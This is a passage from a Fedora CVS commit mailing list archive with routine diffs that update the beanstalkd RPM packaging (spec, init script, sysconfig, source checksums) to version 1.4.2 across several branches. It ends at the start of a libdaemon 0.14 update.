+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4.2-1
+- update to upstream 1.4.2
+
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4-0
+- update to upstream 1.4
+
 * Sat Apr 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3-1
 - update to upstream 1.3
 


Index: beanstalkd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/EL-5/beanstalkd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.sysconfig	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.sysconfig	18 Oct 2009 02:48:24 -0000	1.2
@@ -1,6 +1,6 @@
 # System configuration for the beanstalkd daemon
 
-# Available options correspond to the options to the 
+# Available options correspond to the options to the
 # beanstalkd commandline.
 
 BEANSTALKD_ADDR=0.0.0.0
@@ -9,4 +9,20 @@ BEANSTALKD_USER=beanstalkd
 
 # Job size is left to the default. Uncomment and set it
 # to a value to have it take affect.
-#BEANSTALKD_JOB_SIZE=
+#BEANSTALKD_MAX_JOB_SIZE=65535
+
+# Using the binlog is off by default.
+#
+# The direcory to house the binlog.  This will be created
+# if it does not exist
+#BEANSTALKD_BINLOG_DIR=/var/lib/beanstalkd/binlog
+#
+# fsync the binlog at most once every N milliseconds.
+# setting this to 0 means 'always fsync'. If this is unset,
+# and the binlog is used, then no explicit fsync is ever
+# performed.  That is, the -F option is used.
+#BEANSTALKD_BINLOG_FSYNC_PERIOD=
+#
+# The size of each binlog file.  This is rounded
+# up to the nearest 512 byte boundary.
+#BEANSTALKD_BINLOG_SIZE=10485760


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	11 Apr 2009 22:10:19 -0000	1.4
+++ sources	18 Oct 2009 02:48:24 -0000	1.5
@@ -1 +1,3 @@
 de94ab64cd02af4ed1f37cacdaf49be5  beanstalkd-1.3.tar.gz
+eea47c86c722c4448087fb28be7357cd  beanstalkd-1.4.tar.gz
+848ecf1a040e018cb0ee10a203b62896  beanstalkd-1.4.2.tar.gz



From jjh at fedoraproject.org  Sun Oct 18 02:48:25 2009
From: jjh at fedoraproject.org (jjh)
Date: Sun, 18 Oct 2009 02:48:25 +0000 (UTC)
Subject: rpms/beanstalkd/F-10 .cvsignore, 1.3, 1.4 beanstalkd.init, 1.1,
	1.2 beanstalkd.spec, 1.3, 1.4 beanstalkd.sysconfig, 1.1,
	1.2 sources, 1.4, 1.5
Message-ID: <20091018024825.20C9011C00E8@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/beanstalkd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1823/F-10

Modified Files:
	.cvsignore beanstalkd.init beanstalkd.spec 
	beanstalkd.sysconfig sources 
Log Message:
update to 1.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Apr 2009 22:10:20 -0000	1.3
+++ .cvsignore	18 Oct 2009 02:48:24 -0000	1.4
@@ -1 +1,3 @@
 beanstalkd-1.3.tar.gz
+beanstalkd-1.4.tar.gz
+beanstalkd-1.4.2.tar.gz


Index: beanstalkd.init
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-10/beanstalkd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.init	31 Dec 2008 05:11:20 -0000	1.1
+++ beanstalkd.init	18 Oct 2009 02:48:24 -0000	1.2
@@ -1,13 +1,21 @@
 #!/bin/sh
 #
-# beanstalkd - a fast, distributed, in-memory workqueue service
+# beanstalkd - a simple, fast workqueue service
 #
 # chkconfig:   - 57 47
-# description: a fast, distributed, in-memory workqueue service
+# description: a simple, fast workqueue service
 # processname:  beanstalkd
 # config:       /etc/sysconfig/beanstalkd
 #              
 
+### BEGIN INIT INFO
+# Provides: beanstalkd
+# Required-Start: $local_fs $network $remote_fs
+# Required-Stop: $local_fs $network $remote_fs
+# Short-Description: start and stop beanstalkd
+# Description: a simple, fast workqueue service
+### END INIT INFO
+
 # Source function library.
 . /etc/rc.d/init.d/functions
 
@@ -33,9 +41,26 @@ start() {
     echo -n $"Starting $prog: "
     # if not running, start it up here, usually something like "daemon $exec"
     options="-l ${BEANSTALKD_ADDR} -p ${BEANSTALKD_PORT} -u ${BEANSTALKD_USER}"
-    if [ "${BEANSTALKD_JOB_SIZE}" != ""  ]; then
-        options="${options} -z ${BEANSTALKD_JOB_SIZE}"
+    if [ "${BEANSTALKD_MAX_JOB_SIZE}" != ""  ]; then
+        options="${options} -z ${BEANSTALKD_MAX_JOB_SIZE}"
+    fi
+
+    if [ "${BEANSTALKD_BINLOG_DIR}" != "" ]; then
+        if [ ! -d "${BEANSTALKD_BINLOG_DIR}" ]; then
+            echo "Creating binlog directory (${BEANSTALKD_BINLOG_DIR})"
+            mkdir -p ${BEANSTALKD_BINLOG_DIR} && chown ${BEANSTALKD_USER}:${BEANSTALKD_USER} ${BEANSTALKD_BINLOG_DIR}
+        fi
+        options="${options} -b ${BEANSTALKD_BINLOG_DIR}"
+        if [ "${BEANSTALKD_BINLOG_FSYNC_PERIOD}" != "" ]; then
+            options="${options} -f ${BEANSTALKD_BINLOG_FSYNC_PERIOD}"
+        else
+            options="${options} -F"
+        fi
+        if [ "${BEANSTALKD_BINLOG_SIZE}" != "" ]; then
+            options="${options} -s ${BEANSTALKD_BINLOG_SIZE}"
+        fi
     fi
+
     daemon $exec -d $options
     retval=$?
     echo


Index: beanstalkd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-10/beanstalkd.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- beanstalkd.spec	11 Apr 2009 22:10:20 -0000	1.3
+++ beanstalkd.spec	18 Oct 2009 02:48:24 -0000	1.4
@@ -4,14 +4,14 @@
 %define beanstalkd_logdir    %{_localstatedir}/log/beanstalkd
 
 Name:           beanstalkd
-Version:        1.3
+Version:        1.4.2
 Release:        1%{?dist}
-Summary:        A fast, distributed, in-memory workqueue service
+Summary:        A simple, fast workqueue service
 
 Group:          System Environment/Daemons
 License:        GPLv3+
 URL:            http://xph.us/software/%{name}/
-Source0:        http://xph.us/software/%{name}/rel/%{name}-%{version}.tar.gz 
+Source0:        http://xph.us/dist/%{name}/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.sysconfig
 
@@ -19,20 +19,24 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:   libevent-devel
 
 Requires(pre):      %{_sbindir}/useradd
-Requires(post):     /sbin/chkconfig
-Requires(preun):    /sbin/chkconfig, /sbin/service
-Requires(postun):   /sbin/service
+Requires(post):     chkconfig
+Requires(preun):    chkconfig
+Requires(preun):    initscripts
+Requires(postun):   initscripts
 
 
 %description
-beanstalkd is a fast, distributed, in-memory workqueue service. Its
-interface is generic, but was originally designed for reducing the
-latency of page views in high-volume web applications by running most
-time-consuming tasks asynchronously.
+beanstalkd is a simple, fast workqueue service. Its interface is generic,
+but was originally designed for reducing the latency of page views in
+high-volume web applications by running most time-consuming tasks
+asynchronously.
 
 
 %prep
 %setup -q
+if [ ! -e configure ]; then
+  sh autogen.sh
+fi
 
 
 %build
@@ -52,7 +56,7 @@ make install-exec-am DESTDIR=$RPM_BUILD_
 rm -rf $RPM_BUILD_ROOT
 
 %pre
-%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
+%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -m -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
 
 %post
 /sbin/chkconfig --add %{name}
@@ -64,13 +68,13 @@ if [ $1 = 0 ]; then
 fi
 
 %postun
-if [ $1 -ge 1 ]; then
+if [ "$1" -ge "1" ]; then
     /sbin/service %{name} condrestart > /dev/null 2>&1 || :
 fi
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING doc/protocol.txt
+%doc README README-DEVELOPERS README-TESTS COPYING doc/protocol.txt
 %{_initrddir}/%{name}
 %{_bindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -78,6 +82,12 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4.2-1
+- update to upstream 1.4.2
+
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4-0
+- update to upstream 1.4
+
 * Sat Apr 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3-1
 - update to upstream 1.3
 


Index: beanstalkd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-10/beanstalkd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.sysconfig	31 Dec 2008 05:11:20 -0000	1.1
+++ beanstalkd.sysconfig	18 Oct 2009 02:48:24 -0000	1.2
@@ -1,6 +1,6 @@
 # System configuration for the beanstalkd daemon
 
-# Available options correspond to the options to the 
+# Available options correspond to the options to the
 # beanstalkd commandline.
 
 BEANSTALKD_ADDR=0.0.0.0
@@ -9,4 +9,20 @@ BEANSTALKD_USER=beanstalkd
 
 # Job size is left to the default. Uncomment and set it
 # to a value to have it take affect.
-#BEANSTALKD_JOB_SIZE=
+#BEANSTALKD_MAX_JOB_SIZE=65535
+
+# Using the binlog is off by default.
+#
+# The direcory to house the binlog.  This will be created
+# if it does not exist
+#BEANSTALKD_BINLOG_DIR=/var/lib/beanstalkd/binlog
+#
+# fsync the binlog at most once every N milliseconds.
+# setting this to 0 means 'always fsync'. If this is unset,
+# and the binlog is used, then no explicit fsync is ever
+# performed.  That is, the -F option is used.
+#BEANSTALKD_BINLOG_FSYNC_PERIOD=
+#
+# The size of each binlog file.  This is rounded
+# up to the nearest 512 byte boundary.
+#BEANSTALKD_BINLOG_SIZE=10485760


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	11 Apr 2009 22:10:20 -0000	1.4
+++ sources	18 Oct 2009 02:48:24 -0000	1.5
@@ -1 +1,3 @@
 de94ab64cd02af4ed1f37cacdaf49be5  beanstalkd-1.3.tar.gz
+eea47c86c722c4448087fb28be7357cd  beanstalkd-1.4.tar.gz
+848ecf1a040e018cb0ee10a203b62896  beanstalkd-1.4.2.tar.gz



From jjh at fedoraproject.org  Sun Oct 18 02:48:25 2009
From: jjh at fedoraproject.org (jjh)
Date: Sun, 18 Oct 2009 02:48:25 +0000 (UTC)
Subject: rpms/beanstalkd/F-11 .cvsignore, 1.4, 1.5 beanstalkd.init, 1.1,
	1.2 beanstalkd.spec, 1.4, 1.5 beanstalkd.sysconfig, 1.1,
	1.2 sources, 1.4, 1.5
Message-ID: <20091018024825.880D911C00E8@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/beanstalkd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1823/F-11

Modified Files:
	.cvsignore beanstalkd.init beanstalkd.spec 
	beanstalkd.sysconfig sources 
Log Message:
update to 1.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	11 Apr 2009 21:20:15 -0000	1.4
+++ .cvsignore	18 Oct 2009 02:48:25 -0000	1.5
@@ -1 +1,3 @@
 beanstalkd-1.3.tar.gz
+beanstalkd-1.4.tar.gz
+beanstalkd-1.4.2.tar.gz


Index: beanstalkd.init
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-11/beanstalkd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.init	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.init	18 Oct 2009 02:48:25 -0000	1.2
@@ -1,13 +1,21 @@
 #!/bin/sh
 #
-# beanstalkd - a fast, distributed, in-memory workqueue service
+# beanstalkd - a simple, fast workqueue service
 #
 # chkconfig:   - 57 47
-# description: a fast, distributed, in-memory workqueue service
+# description: a simple, fast workqueue service
 # processname:  beanstalkd
 # config:       /etc/sysconfig/beanstalkd
 #              
 
+### BEGIN INIT INFO
+# Provides: beanstalkd
+# Required-Start: $local_fs $network $remote_fs
+# Required-Stop: $local_fs $network $remote_fs
+# Short-Description: start and stop beanstalkd
+# Description: a simple, fast workqueue service
+### END INIT INFO
+
 # Source function library.
 . /etc/rc.d/init.d/functions
 
@@ -33,9 +41,26 @@ start() {
     echo -n $"Starting $prog: "
     # if not running, start it up here, usually something like "daemon $exec"
     options="-l ${BEANSTALKD_ADDR} -p ${BEANSTALKD_PORT} -u ${BEANSTALKD_USER}"
-    if [ "${BEANSTALKD_JOB_SIZE}" != ""  ]; then
-        options="${options} -z ${BEANSTALKD_JOB_SIZE}"
+    if [ "${BEANSTALKD_MAX_JOB_SIZE}" != ""  ]; then
+        options="${options} -z ${BEANSTALKD_MAX_JOB_SIZE}"
+    fi
+
+    if [ "${BEANSTALKD_BINLOG_DIR}" != "" ]; then
+        if [ ! -d "${BEANSTALKD_BINLOG_DIR}" ]; then
+            echo "Creating binlog directory (${BEANSTALKD_BINLOG_DIR})"
+            mkdir -p ${BEANSTALKD_BINLOG_DIR} && chown ${BEANSTALKD_USER}:${BEANSTALKD_USER} ${BEANSTALKD_BINLOG_DIR}
+        fi
+        options="${options} -b ${BEANSTALKD_BINLOG_DIR}"
+        if [ "${BEANSTALKD_BINLOG_FSYNC_PERIOD}" != "" ]; then
+            options="${options} -f ${BEANSTALKD_BINLOG_FSYNC_PERIOD}"
+        else
+            options="${options} -F"
+        fi
+        if [ "${BEANSTALKD_BINLOG_SIZE}" != "" ]; then
+            options="${options} -s ${BEANSTALKD_BINLOG_SIZE}"
+        fi
     fi
+
     daemon $exec -d $options
     retval=$?
     echo


Index: beanstalkd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-11/beanstalkd.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- beanstalkd.spec	11 Apr 2009 21:20:16 -0000	1.4
+++ beanstalkd.spec	18 Oct 2009 02:48:25 -0000	1.5
@@ -4,14 +4,14 @@
 %define beanstalkd_logdir    %{_localstatedir}/log/beanstalkd
 
 Name:           beanstalkd
-Version:        1.3
+Version:        1.4.2
 Release:        1%{?dist}
-Summary:        A fast, distributed, in-memory workqueue service
+Summary:        A simple, fast workqueue service
 
 Group:          System Environment/Daemons
 License:        GPLv3+
 URL:            http://xph.us/software/%{name}/
-Source0:        http://xph.us/software/%{name}/rel/%{name}-%{version}.tar.gz 
+Source0:        http://xph.us/dist/%{name}/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.sysconfig
 
@@ -19,20 +19,24 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:   libevent-devel
 
 Requires(pre):      %{_sbindir}/useradd
-Requires(post):     /sbin/chkconfig
-Requires(preun):    /sbin/chkconfig, /sbin/service
-Requires(postun):   /sbin/service
+Requires(post):     chkconfig
+Requires(preun):    chkconfig
+Requires(preun):    initscripts
+Requires(postun):   initscripts
 
 
 %description
-beanstalkd is a fast, distributed, in-memory workqueue service. Its
-interface is generic, but was originally designed for reducing the
-latency of page views in high-volume web applications by running most
-time-consuming tasks asynchronously.
+beanstalkd is a simple, fast workqueue service. Its interface is generic,
+but was originally designed for reducing the latency of page views in
+high-volume web applications by running most time-consuming tasks
+asynchronously.
 
 
 %prep
 %setup -q
+if [ ! -e configure ]; then
+  sh autogen.sh
+fi
 
 
 %build
@@ -52,7 +56,7 @@ make install-exec-am DESTDIR=$RPM_BUILD_
 rm -rf $RPM_BUILD_ROOT
 
 %pre
-%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
+%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -m -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
 
 %post
 /sbin/chkconfig --add %{name}
@@ -64,13 +68,13 @@ if [ $1 = 0 ]; then
 fi
 
 %postun
-if [ $1 -ge 1 ]; then
+if [ "$1" -ge "1" ]; then
     /sbin/service %{name} condrestart > /dev/null 2>&1 || :
 fi
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING doc/protocol.txt
+%doc README README-DEVELOPERS README-TESTS COPYING doc/protocol.txt
 %{_initrddir}/%{name}
 %{_bindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -78,6 +82,12 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4.2-1
+- update to upstream 1.4.2
+
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4-0
+- update to upstream 1.4
+
 * Sat Apr 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3-1
 - update to upstream 1.3
 


Index: beanstalkd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-11/beanstalkd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.sysconfig	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.sysconfig	18 Oct 2009 02:48:25 -0000	1.2
@@ -1,6 +1,6 @@
 # System configuration for the beanstalkd daemon
 
-# Available options correspond to the options to the 
+# Available options correspond to the options to the
 # beanstalkd commandline.
 
 BEANSTALKD_ADDR=0.0.0.0
@@ -9,4 +9,20 @@ BEANSTALKD_USER=beanstalkd
 
 # Job size is left to the default. Uncomment and set it
 # to a value to have it take affect.
-#BEANSTALKD_JOB_SIZE=
+#BEANSTALKD_MAX_JOB_SIZE=65535
+
+# Using the binlog is off by default.
+#
+# The direcory to house the binlog.  This will be created
+# if it does not exist
+#BEANSTALKD_BINLOG_DIR=/var/lib/beanstalkd/binlog
+#
+# fsync the binlog at most once every N milliseconds.
+# setting this to 0 means 'always fsync'. If this is unset,
+# and the binlog is used, then no explicit fsync is ever
+# performed.  That is, the -F option is used.
+#BEANSTALKD_BINLOG_FSYNC_PERIOD=
+#
+# The size of each binlog file.  This is rounded
+# up to the nearest 512 byte boundary.
+#BEANSTALKD_BINLOG_SIZE=10485760


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	11 Apr 2009 21:20:16 -0000	1.4
+++ sources	18 Oct 2009 02:48:25 -0000	1.5
@@ -1 +1,3 @@
 de94ab64cd02af4ed1f37cacdaf49be5  beanstalkd-1.3.tar.gz
+eea47c86c722c4448087fb28be7357cd  beanstalkd-1.4.tar.gz
+848ecf1a040e018cb0ee10a203b62896  beanstalkd-1.4.2.tar.gz



From jjh at fedoraproject.org  Sun Oct 18 02:48:26 2009
From: jjh at fedoraproject.org (jjh)
Date: Sun, 18 Oct 2009 02:48:26 +0000 (UTC)
Subject: rpms/beanstalkd/F-12 .cvsignore, 1.4, 1.5 beanstalkd.init, 1.1,
	1.2 beanstalkd.spec, 1.5, 1.6 beanstalkd.sysconfig, 1.1,
	1.2 sources, 1.4, 1.5
Message-ID: <20091018024826.3B9C111C00E8@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/beanstalkd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1823/F-12

Modified Files:
	.cvsignore beanstalkd.init beanstalkd.spec 
	beanstalkd.sysconfig sources 
Log Message:
update to 1.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	11 Apr 2009 21:20:15 -0000	1.4
+++ .cvsignore	18 Oct 2009 02:48:25 -0000	1.5
@@ -1 +1,3 @@
 beanstalkd-1.3.tar.gz
+beanstalkd-1.4.tar.gz
+beanstalkd-1.4.2.tar.gz


Index: beanstalkd.init
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-12/beanstalkd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.init	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.init	18 Oct 2009 02:48:25 -0000	1.2
@@ -1,13 +1,21 @@
 #!/bin/sh
 #
-# beanstalkd - a fast, distributed, in-memory workqueue service
+# beanstalkd - a simple, fast workqueue service
 #
 # chkconfig:   - 57 47
-# description: a fast, distributed, in-memory workqueue service
+# description: a simple, fast workqueue service
 # processname:  beanstalkd
 # config:       /etc/sysconfig/beanstalkd
 #              
 
+### BEGIN INIT INFO
+# Provides: beanstalkd
+# Required-Start: $local_fs $network $remote_fs
+# Required-Stop: $local_fs $network $remote_fs
+# Short-Description: start and stop beanstalkd
+# Description: a simple, fast workqueue service
+### END INIT INFO
+
 # Source function library.
 . /etc/rc.d/init.d/functions
 
@@ -33,9 +41,26 @@ start() {
     echo -n $"Starting $prog: "
     # if not running, start it up here, usually something like "daemon $exec"
     options="-l ${BEANSTALKD_ADDR} -p ${BEANSTALKD_PORT} -u ${BEANSTALKD_USER}"
-    if [ "${BEANSTALKD_JOB_SIZE}" != ""  ]; then
-        options="${options} -z ${BEANSTALKD_JOB_SIZE}"
+    if [ "${BEANSTALKD_MAX_JOB_SIZE}" != ""  ]; then
+        options="${options} -z ${BEANSTALKD_MAX_JOB_SIZE}"
+    fi
+
+    if [ "${BEANSTALKD_BINLOG_DIR}" != "" ]; then
+        if [ ! -d "${BEANSTALKD_BINLOG_DIR}" ]; then
+            echo "Creating binlog directory (${BEANSTALKD_BINLOG_DIR})"
+            mkdir -p ${BEANSTALKD_BINLOG_DIR} && chown ${BEANSTALKD_USER}:${BEANSTALKD_USER} ${BEANSTALKD_BINLOG_DIR}
+        fi
+        options="${options} -b ${BEANSTALKD_BINLOG_DIR}"
+        if [ "${BEANSTALKD_BINLOG_FSYNC_PERIOD}" != "" ]; then
+            options="${options} -f ${BEANSTALKD_BINLOG_FSYNC_PERIOD}"
+        else
+            options="${options} -F"
+        fi
+        if [ "${BEANSTALKD_BINLOG_SIZE}" != "" ]; then
+            options="${options} -s ${BEANSTALKD_BINLOG_SIZE}"
+        fi
     fi
+
     daemon $exec -d $options
     retval=$?
     echo


Index: beanstalkd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-12/beanstalkd.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- beanstalkd.spec	24 Jul 2009 17:56:14 -0000	1.5
+++ beanstalkd.spec	18 Oct 2009 02:48:25 -0000	1.6
@@ -4,14 +4,14 @@
 %define beanstalkd_logdir    %{_localstatedir}/log/beanstalkd
 
 Name:           beanstalkd
-Version:        1.3
-Release:        2%{?dist}
-Summary:        A fast, distributed, in-memory workqueue service
+Version:        1.4.2
+Release:        1%{?dist}
+Summary:        A simple, fast workqueue service
 
 Group:          System Environment/Daemons
 License:        GPLv3+
 URL:            http://xph.us/software/%{name}/
-Source0:        http://xph.us/software/%{name}/rel/%{name}-%{version}.tar.gz 
+Source0:        http://xph.us/dist/%{name}/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.sysconfig
 
@@ -19,20 +19,24 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:   libevent-devel
 
 Requires(pre):      %{_sbindir}/useradd
-Requires(post):     /sbin/chkconfig
-Requires(preun):    /sbin/chkconfig, /sbin/service
-Requires(postun):   /sbin/service
+Requires(post):     chkconfig
+Requires(preun):    chkconfig
+Requires(preun):    initscripts
+Requires(postun):   initscripts
 
 
 %description
-beanstalkd is a fast, distributed, in-memory workqueue service. Its
-interface is generic, but was originally designed for reducing the
-latency of page views in high-volume web applications by running most
-time-consuming tasks asynchronously.
+beanstalkd is a simple, fast workqueue service. Its interface is generic,
+but was originally designed for reducing the latency of page views in
+high-volume web applications by running most time-consuming tasks
+asynchronously.
 
 
 %prep
 %setup -q
+if [ ! -e configure ]; then
+  sh autogen.sh
+fi
 
 
 %build
@@ -52,7 +56,7 @@ make install-exec-am DESTDIR=$RPM_BUILD_
 rm -rf $RPM_BUILD_ROOT
 
 %pre
-%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
+%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -m -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
 
 %post
 /sbin/chkconfig --add %{name}
@@ -64,13 +68,13 @@ if [ $1 = 0 ]; then
 fi
 
 %postun
-if [ $1 -ge 1 ]; then
+if [ "$1" -ge "1" ]; then
     /sbin/service %{name} condrestart > /dev/null 2>&1 || :
 fi
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING doc/protocol.txt
+%doc README README-DEVELOPERS README-TESTS COPYING doc/protocol.txt
 %{_initrddir}/%{name}
 %{_bindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -78,6 +82,12 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4.2-1
+- update to upstream 1.4.2
+
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4-0
+- update to upstream 1.4
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: beanstalkd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-12/beanstalkd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.sysconfig	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.sysconfig	18 Oct 2009 02:48:25 -0000	1.2
@@ -1,6 +1,6 @@
 # System configuration for the beanstalkd daemon
 
-# Available options correspond to the options to the 
+# Available options correspond to the options to the
 # beanstalkd commandline.
 
 BEANSTALKD_ADDR=0.0.0.0
@@ -9,4 +9,20 @@ BEANSTALKD_USER=beanstalkd
 
 # Job size is left to the default. Uncomment and set it
 # to a value to have it take affect.
-#BEANSTALKD_JOB_SIZE=
+#BEANSTALKD_MAX_JOB_SIZE=65535
+
+# Using the binlog is off by default.
+#
+# The direcory to house the binlog.  This will be created
+# if it does not exist
+#BEANSTALKD_BINLOG_DIR=/var/lib/beanstalkd/binlog
+#
+# fsync the binlog at most once every N milliseconds.
+# setting this to 0 means 'always fsync'. If this is unset,
+# and the binlog is used, then no explicit fsync is ever
+# performed.  That is, the -F option is used.
+#BEANSTALKD_BINLOG_FSYNC_PERIOD=
+#
+# The size of each binlog file.  This is rounded
+# up to the nearest 512 byte boundary.
+#BEANSTALKD_BINLOG_SIZE=10485760


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	11 Apr 2009 21:20:16 -0000	1.4
+++ sources	18 Oct 2009 02:48:26 -0000	1.5
@@ -1 +1,3 @@
 de94ab64cd02af4ed1f37cacdaf49be5  beanstalkd-1.3.tar.gz
+eea47c86c722c4448087fb28be7357cd  beanstalkd-1.4.tar.gz
+848ecf1a040e018cb0ee10a203b62896  beanstalkd-1.4.2.tar.gz



From lennart at fedoraproject.org  Sun Oct 18 02:54:08 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Sun, 18 Oct 2009 02:54:08 +0000 (UTC)
Subject: rpms/libdaemon/devel .cvsignore, 1.6, 1.7 libdaemon.spec, 1.17,
	1.18 sources, 1.6, 1.7
Message-ID: <20091018025408.E674411C00E8@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libdaemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3351

Modified Files:
	.cvsignore libdaemon.spec sources 
Log Message:
new upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libdaemon/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	28 Jul 2008 23:14:06 -0000	1.6
+++ .cvsignore	18 Oct 2009 02:54:08 -0000	1.7
@@ -1 +1 @@
-libdaemon-0.13.tar.gz
+libdaemon-0.14.tar.gz


Index: libdaemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libdaemon/devel/libdaemon.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- libdaemon.spec	25 Jul 2009 05:29:12 -0000	1.17
+++ libdaemon.spec	18 Oct 2009 02:54:08 -0000	1.18
@@ -1,6 +1,6 @@
 Name: libdaemon
-Version: 0.13
-Release: 3%{?dist}
+Version: 0.14
+Release: 1%{?dist}
 Summary: Library for writing UNIX daemons
 Group: System Environment/Libraries
 License: LGPLv2+
@@ -45,6 +45,9 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
